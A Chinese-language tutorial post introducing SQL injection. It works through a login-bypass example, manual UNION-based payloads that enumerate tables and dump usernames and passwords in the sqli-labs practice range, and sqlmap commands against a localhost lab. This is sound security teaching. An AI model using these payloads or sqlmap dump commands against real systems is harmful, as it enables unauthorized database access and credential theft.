初识SQL注入
目录
注入攻击
SQL注入
手工注入
Information_schema数据库
自动注入
介绍一下这款工具:sqlmap
半自动注入
前面给大家通过学习+练习的方式将XSS攻击的几种形式和一些简单的靶场和例题的演示,从本篇开始我将和小伙伴们通过边复习、边练习的方式来进行SQL注入的学习,本篇是SQL注入的第一篇,主要是对SQL注入的一些简单的介绍和大致的注入流程的演示,那么下面我们开始ヾ(◍°∇°◍)ノ゙
后面会用到sqli-labs靶场,这里附上下载链接,如果还没有该靶场的小伙伴可以下载一下:
sqli-labs: sql注入练习靶场123456 (gitee.com)
注入攻击
首先来介绍一下什么事SQL注入
注入攻击的本质,是把用户输入的数据当做代码执行,或者生成其他语义的内容,前面的XSS本质上也是一种针对HTML的注入攻击。
因此可以总结一下,注入攻击有两个关键条件:
- 用户能够控制输入
- 原本要执行的代码拼接了用户输入的数据
SQL注入
SQL注入第一次出现是在1998年的著名黑客杂志phrack上。在文章中,名为rfp的黑客,第一次向公众介绍了SQL注入的攻击技巧
那么可以举一个SQL注入的例子
如果后端的代码是这样的:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM User where username = '$username' and password = '$password';";
?>
可以看到这里的后端代码是使用post方式拿到username和password,然后直接在数据库中进行查询,并没有对输入的内容进行任何过滤
代码期待用户的输入后的数据库查询是这样的:
select * from user where username = 'admin' and password = '123';
这里如果恶意用户输入的用户名是这样的:
admin'--
则数据库查询就变成了这样:
select * from user where username = 'admin'--' and password = '123';
这时就将and 以后的查询都注释掉了,此时就实现了无密码登录
手工注入
现在我来演示一下使用手动的方式进行SQL注入的流程
演示场景:sqli-labs
进入靶场后,然后点击第一关,这里使用第一关来演示一下

(1)根据提示可以看到这里告诉我们可以输入id作为参数和值
因此我们可以尝试查询一下id=1的结果:
可以看到这里查询出了id=1的用户的登录名和密码
那么根据上面的内容,现在就可以尝试进行SQL注入攻击,试着传入id=1' --+来逃出sql语句的查询语句

可以看到这里还是和id=1的结果是一样的
现在可以尝试一下使用联合查询(union)的方式来在闭合查询语句后,另外查询一些别的信息
小技巧:这里可以通过不断变换select 1,2,3... 不断增加列数来查找该表中一共有多少列


从上面的分别查3,4的网页的不同可以确定,该表中一共有3列
然后我们可以在1/2/3中查询一下,那个是username 和password可以显示在页面中的

但是这里我们查询的结果还是不对,它一致不变的显示id=1的结果。
这是因为联合查询时,id=1始终为真,所以就只会显示id=1时的值,想要让我们后面的语句执行就必须要让前面的id值为假,可以使用一下两种方式
-
让id的值为负值
-
让id的值为一个不存在的值

(2)根据结果可以看到username是第2列,password是第3列,因此我们可以来利用这两个位置来显示一些关于该数据库中额敏感的信息
查看用户名

查看数据库名

查看版本

利用这里当然还可以查到其他信息,最重要的还是这三个,现在数据库名称已经知道了,我们就要开始手动的获取数据库中其他敏感数据信息了
这里可以分析一下查询语句中需要的元素
知道了数据库我们可以使用数据库
查询数据库中的内容需要知道 表名 列名 才能查到具体的信息
但是这里是无法使用上面的方式直接在select 1,2,3里面的查询,因为没有那样的函数
这里就要介绍一个Mysql自带的数据库:
Information_schema数据库
Information_schema是MySQL中的一个系统数据库,它存储了MySQL的元数据信息,包括数据库、表、列等的信息。
在进行SQL注入攻击时,攻击者可以利用Information_schema来获取敏感信息,如数据库名、表名、列名等。
(3)我们可以利用information_schema数据库中的 table_name来查找我们已经查找的数据库中所有的表
select table_name from information_schema.tables
//这条语句可以查到 information_schema.tables 中的 table_name ,即该数据中的的所有表名

但是这里的表名并不是我们需要查询的security这个数据库中的,所以我们需要在查询语句后面增加条件筛选
select table_name from information_schema.tables where table_schema="security"
//这里我们将筛选的条件修改为table_schema="security" 表示我们需要查找的是数据库名为security中的所有的表

现在就可以在sql-labs靶场中实验一下:
id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+
这里使用的group_concat()函数就是将多个查询结果拼接到一个字符串中,如果不加该还是就会因为查询的结果太多而报错
(4)那么现在已经知道数据库名和表名了,现在就需要知道表中有那么具体的字段,这里就用users表为例来演示一下:
这里我们还是利用information_schema数据库,使用同样的方法,因为在information_schema数据库中的columns表中存放着所有的数据库中的所有的表中的所有字段名,因此可以通过已知到数据库名,表名来查询该表中的所有的字段名
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='usersss'),3 --+

可以看到这里成功的通过information_schema的conlumn表中table_schema字段也就是数据库名为security字段table_name也就是表名为users的所有字段的名称了
(5)现在知道了数据库名、表名、字段名,那么就可以为所欲为的查询数据库中的所有数据了
比如查询所有的用户名和密码:
?id=-1' union select 1,(select group_concat(id,0x3a,username,0x3a,password) from users),3 --+
到此手动注入的流程已经演示完成了
自动注入
自动注入就是使用工具了,有很多工具都可以进行自动sql注入
这里我演示使用的是sqlmap,kail中默认就有,没有的可以自行下载,windows、Linux版本的都有的,我这里就使用windows中演示一下吧,
介绍一下这款工具:sqlmap
SQLmap是一个开源的渗透测试工具,可以进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限,它具有强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至通过外带数据连接的方式执行操作系统的命令
常用的参数:
- **-u:指定URL**
- **--dbs(末尾):查看数据库**
- **-D(指定数据库名) -tables(末尾):查看表**
- **-D(指定数据库名) -T(指定表名) --column:查看列**
- **-D(指定数据库名) -T(指定表名) -C(指定列)--dump:查看指定列中的值**
- **-r 查看文本的请求中是否存在注入**
- -p 指定SQL注入点
- --level (1~5):检测级别
- --risk:风险等级
- --batch 非交互式模式
- –dbs 所有数据库
- –current-db 网站当前数据库
- **–users 所有数据库用户**
- –current-user 当前数据库用户
- –random-agent 构造随机user-agent
- **–passwords 数据库密码**
- –proxy http://local:8080 设置代理
- –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
下载完成后,使用cmd移动到文件夹下,然后可以直接使用下面命令来进行自动sql注入
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1


可以看到这里也是成功的写出了几个payload,而且分别有unio查询,布尔注入,报错注入,时间盲注四种方式,可以看到自动注入的效率和效果是非常好的
半自动注入
这里的半自动注入还是使用sqlmap,但是不是直接使用url来让sqlmap自动注入,而是我们一步一步来使用sqlmao来注入出数据库名。表名。和列名,最后注入出数据
(1)注出数据库名
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs

(2)注出表名
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security --tables

(3)注出字段名
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users --column

(4)注出数据
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D security -T users -C username --dump

到此,SQL注入的基础知识和手工注入,自动注入,半自动注入就演示完毕了,后面会和小伙伴们继续分享更多的SQL注入的技巧和靶场练习(^▽^)
相关文章:
初识SQL注入
目录 注入攻击 SQL注入 手工注入 Information_schema数据库 自动注入 介绍一下这款工具:sqlmap 半自动注入 前面给大家通过学习练习的方式将XSS攻击的几种形式和一些简单的靶场和例题的演示,从本篇开始我将和小伙伴们通过边复习、边练习的方式来进…...
React初探:从环境搭建到Hooks应用全解析
React初探:从环境搭建到Hooks应用全解析 一、React介绍 1、React是什么 React是由Facebook开发的一款用于构建用户界面的JavaScript库。它主要用于构建单页面应用中的UI组件,通过组件化的方式让开发者能够更轻松地构建可维护且高效的用户界面。 Reac…...
设计模式——1_6 代理(Proxy)
诗有可解不可解,若镜花水月勿泥其迹可也 —— 谢榛 文章目录 定义图纸一个例子:图片搜索器图片加载搜索器直接在Image添加组合他们 各种各样的代理远程代理:镜中月,水中花保护代理:对象也该有隐私引用代理:…...
性能优化(CPU优化技术)-NEON 介绍
「发表于知乎专栏《移动端算法优化》」 本节主要介绍基本 SIMD 及其他的指令流与数据流的处理方式,NEON 的基本原理、指令以及与其他平台及硬件的对比。 🎬个人简介:一个全栈工程师的升级之路! 📋个人专栏:…...
Kafka-服务端-KafkaController
Broker能够处理来自KafkaController的LeaderAndIsrRequest、StopReplicaRequest、UpdateMetadataRequest等请求。 在Kafka集群的多个Broker中,有一个Broker会被选举为Controller Leader,负责管理整个集群中所有的分区和副本的状态。 例如:当某分区的Le…...
ffmpeg使用手册
ffmpeg使用手册 文章目录 ffmpeg使用手册ffmpeg是什么指令总结1.查看ffmpeg版本2.mkv转mp43.裁剪 .mkv 视频4.不调节帧率,尽可能保证原视频质量的情况下将原始视频压缩4.1 crf4.2 preset 5.调节视频帧率6.调节帧率,尽可能保证原视频质量的情况下将原始视…...
操作系统导论-课后作业-ch15
对应异步社区资源HW-Relocation: 1. 种子1运行结果: 种子2运行结果: 种子3运行结果: 2. 需要将界限设置为930,结果如下: 3. 有人说原书翻译有误,原文如下所示: 原文翻译如…...
宝塔面板SRS音视频TRC服务器启动失败
首先,查找原因 1.先看srs服务在哪 find / -type f -name srs 2>/dev/null运行结果: /var/lib/docker/overlay2/5347867cc0ffed43f1ae24eba609637bfa3cc7cf5f8c660976d2286fa6a88d2b/diff/usr/local/srs/objs/srs /var/lib/docker/overlay2/5347867…...
04-Seata修改通信端口
基于docker环境部署下,可以翻看专栏之前的文章 配置文件 /home/server/seata/resources/application.yml 默认${server.port} 1000 1、修改服务端(TC)配置 seata:server:service-port: 7090 2、修改映射端口 在启动脚本中修改映射端口 docker run -id --nam…...
活动回顾丨云原生技术实践营上海站「云原生 AI 大数据」专场(附 PPT)
AI 势不可挡,“智算”赋能未来。2024 年 1 月 5 日,云原生技术实践营「云原生 AI &大数据」专场在上海落幕。活动聚焦容器、可观测、微服务产品技术领域,以云原生 AI 工程化落地为主要方向,希望帮助企业和开发者更快、更高效地…...
【数据结构与算法】4.自主实现单链表的增删查改
📚博客主页:爱敲代码的小杨. ✨专栏:《Java SE语法》 ❤️感谢大家点赞👍🏻收藏⭐评论✍🏻,您的三连就是我持续更新的动力❤️ 🙏小杨水平有限,欢迎各位大佬指点&…...
Linux系统常用命令行指令
Linux系统是一种常用于开源项目开发的生产环境,因其免费、开源、安全、稳定的特点被广泛应用于手机、平板电脑、路由器、电视和电子游戏机等嵌入式系统中,能够更加简便地让用户知道系统是怎样工作的。前几日我安装好了Red Hat Enterprise Linux 9.0&…...
java SSM园林绿化管理系统myeclipse开发mysql数据库springMVC模式java编程计算机网页设计
一、源码特点 java SSM园林绿化管理系统是一套完善的web设计系统(系统采用SSM框架进行设计开发,springspringMVCmybatis),对理解JSP java编程开发语言有帮助,系统具有完整的源代 码和数据库,系统主要采…...
【issue-halcon例程学习】edges_color.hdev
例程功能 演示如何使用edges_color,展示只能从彩色图像中提取某些边缘的图像,说明edges_color和edges_image输出之间的差异。 代码如下 dev_update_off () read_image (Image, olympic_stadium) get_image_size (Image, Width, Height) dev_close_wind…...
设计模式—行为型模式之备忘录模式
设计模式—行为型模式之备忘录模式 备忘录(Memento)模式:在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态,以便以后当需要时能将该对象恢复到原先保存的状态。该模式又叫快照模…...
CMS如何调优
业务JVM频繁Full GC如何排查 原则是先止损,再排查。 FGC的原因是对象晋升失败或者并发模式失败,原因都是老年代放不下晋升的对象了。 1.可能是大对象导致的内存泄漏。快速排查方法:观察数据库网络IO是否和FGC时间点吻合,找到对应…...
在PyCharm中安装GitHub Copilot插件,login之后报出如下错误:
Sign in failed. Reason: Request signInInitiate failed with message: connect ECONNABORTED 20.205.243.166:443, request id: 7, error code: -32603 前提: 设置网址:https://github.com/settings/copilot,已设置为允许 或者࿱…...
L1-093 猜帽子游戏(Java)
宝宝们在一起玩一个猜帽子游戏。每人头上被扣了一顶帽子,有的是黑色的,有的是黄色的。每个人可以看到别人头上的帽子,但是看不到自己的。游戏开始后,每个人可以猜自己头上的帽子是什么颜色,或者可以弃权不猜。如果没有…...
JVM篇--JVM调优高频面试题
1 说一下 JVM 调优的工具? JDK 自带了很多监控工具,都位于 JDK 的 bin 目录下,其中最常用的是jconsole 和 jvisualvm 这两款视图监控工具。 jconsole:用于对 JVM 中的内存、线程和类等进行监控; jvisualvm:…...
微软 AD 介绍 | 安全建议 | 防护
介绍: 什么是Active Directory(AD)? Active Directory 是由 微软开发的目录服务,用于存储和管理网络中的资源,如计算机、用户、组和其他网络对象。允许组织管理员轻松地管理和验证网络中的用户和计算机。 …...
BGE-Large-Zh前沿探索:量子计算语义编码实验
BGE-Large-Zh前沿探索:量子计算语义编码实验 引言 量子计算正在重新定义计算的边界,而自然语言处理作为人工智能的核心领域,也迎来了与量子技术融合的历史性机遇。我们进行了一项创新实验:将BGE-Large-Zh这一强大的语义编码模型…...
快速搭建stm32f103c8t6引脚验证原型:快马平台一键生成初始化代码
最近在做一个基于STM32的小项目时,发现每次新建工程都要重复配置引脚功能,特别浪费时间。后来发现用InsCode(快马)平台可以快速生成初始化代码,简直打开了新世界的大门。今天就来分享下如何用这个平台快速搭建STM32F103C8T6的引脚验证原型。 …...
Cogito 3B实战案例:GitHub PR描述自动生成+变更点总结
Cogito 3B实战案例:GitHub PR描述自动生成变更点总结 1. 快速了解Cogito 3B模型 Cogito v1预览版是Deep Cogito推出的混合推理模型系列,这个3B版本在大多数标准基准测试中都表现出色,超越了同等规模的其他开源模型。简单来说,它…...
RobotStudio机器人轨迹规划:从工件坐标到流畅路径的实战指南
1. 工件坐标系的创建与校准 在RobotStudio中规划机器人轨迹的第一步,就是建立准确的工件坐标系。这就像盖房子前要先打好地基,坐标系就是机器人运动的"地基"。我见过不少新手直接开始示教点位,结果发现机器人总是跑偏,就…...
ESP32驱动MT6826S磁编码器:从接线防烧到实时速度计算(附完整Arduino库)
ESP32与MT6826S磁编码器实战指南:安全接线与高效数据采集 1. 硬件连接:避开那些可能毁掉你项目的陷阱 MT6826S磁编码器作为一款高精度角度测量器件,在机器人关节控制、无人机云台稳定等场景中表现优异。但许多开发者第一次接触这款编码器时&a…...
3个秘诀让城通网盘下载提速10倍:ctfileGet工具全解析
3个秘诀让城通网盘下载提速10倍:ctfileGet工具全解析 【免费下载链接】ctfileGet 获取城通网盘一次性直连地址 项目地址: https://gitcode.com/gh_mirrors/ct/ctfileGet ctfileGet是一款专注于获取城通网盘直连地址的开源工具,通过本地解析技术帮…...
企业财务系统集成指南:如何用诺诺开放平台API搞定电子发票全流程(从签约到开票)
企业财务系统集成指南:诺诺开放平台电子发票全流程实战 当财务数字化转型成为企业降本增效的刚需,电子发票作为交易闭环的关键环节,其系统集成质量直接影响业务流畅度。本文将带您全景式拆解从商务对接到技术落地的完整链路,避开那…...
超高压输电线路空载运行时的电压升高现象解析
1. 为什么空载时线路末端电压会升高? 第一次接触超高压输电线路时,很多工程师都会对这个现象感到困惑:明明没有接任何用电设备,为什么线路末端的电压反而比始端更高?这就像往一根长长的水管里注水,结果发现…...
从按键消抖到外部中断:STM32 GPIO输入模式的‘避坑’指南与AFIO的隐藏用法
从按键消抖到外部中断:STM32 GPIO输入模式的‘避坑’指南与AFIO的隐藏用法 在嵌入式开发中,GPIO(通用输入输出)接口是与外部世界交互的第一道门槛。对于STM32开发者来说,GPIO配置看似简单,却暗藏诸多细节陷…...
多模态Agent架构实战落地:从需求分析到生产部署
多模态Agent架构实战落地:从需求分析到生产部署 随着大语言模型技术的普及,单一文本交互的智能系统已无法满足复杂业务场景需求——电商平台需要同时理解用户的商品描述文本、实拍图片和售后语音诉求,教育场景需要处理手写作业、视频讲解和文…...
